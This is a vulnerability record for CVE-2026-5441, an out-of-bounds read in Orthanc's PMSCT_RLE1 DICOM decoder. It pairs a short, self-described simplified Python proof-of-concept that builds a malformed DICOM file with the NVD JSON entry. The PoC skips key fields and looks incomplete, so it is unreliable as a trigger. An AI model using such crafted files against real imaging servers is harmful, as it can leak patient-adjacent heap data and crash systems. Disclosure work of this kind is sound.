CVE-2026-5441

import struct # Simulate crafting a malformed DICOM file with PMSCT_RLE1 format # This script creates a file with an invalid escape marker near the end of the stream. # NOTE: This is a simplified PoC for demonstration purposes. def create_malformed_dicom(filename): with open(filename, 'wb') as f: # Write a minimal DICOM preamble and prefix f.write(b'\x00' * 128) f.write(b'DICM') # Write simplified meta elements (skipped for brevity, assuming parser handles it) # Focus on the dataset containing the pixel data with PMSCT_RLE1 transfer syntax # Tag: PixelData (7FE0, 0010) f.write(struct.pack('<H', 0x7FE0)) f.write(struct.pack('<H', 0x0010)) # Length: Undefined (FFFFFFFF) for compressed data f.write(struct.pack('<I', 0xFFFFFFFF)) # Sequence Delimiter Item (End of Pixel Data) f.write(b'\xFE\xFF\x00\xE0') f.write(struct.pack('<I', 0x00000000)) # Here we inject the malformed RLE stream # PMSCT_RLE1 specific malformed payload # Trigger: Escape marker at the very end causing OOB read payload = b'\x00' * 100 # Padding payload += b'\xFF' # Malformed escape marker near end f.write(payload) print(f"Malformed DICOM file created: {filename}") if __name__ == "__main__": create_malformed_dicom("crash_dicom.dcm")

{"cve": {"id": "CVE-2026-5441", "sourceIdentifier": "[email protected]", "published": "2026-04-09T15:16:16.443", "lastModified": "2026-04-14T20:18:01.960", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An out-of-bounds read vulnerability exists in the `DecodePsmctRle1` function of `DicomImageDecoder.cpp`. The `PMSCT_RLE1` decompression routine, which decodes the proprietary Philips Compression format, does not properly validate escape markers placed near the end of the compressed data stream. A crafted sequence at the end of the buffer can cause the decoder to read beyond the allocated memory region and leak heap data into the rendered image output."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:orthanc-server:orthanc:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.12.11", "matchCriteriaId": "A259075D-8B77-4B04-BC42-3E5ABE9DFE1F"}]}]}], "references": [{"url": "https://kb.cert.org/vuls/id/536588", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.machinespirits.de/", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.orthanc-server.com/", "source": "[email protected]", "tags": ["Product"]}]}}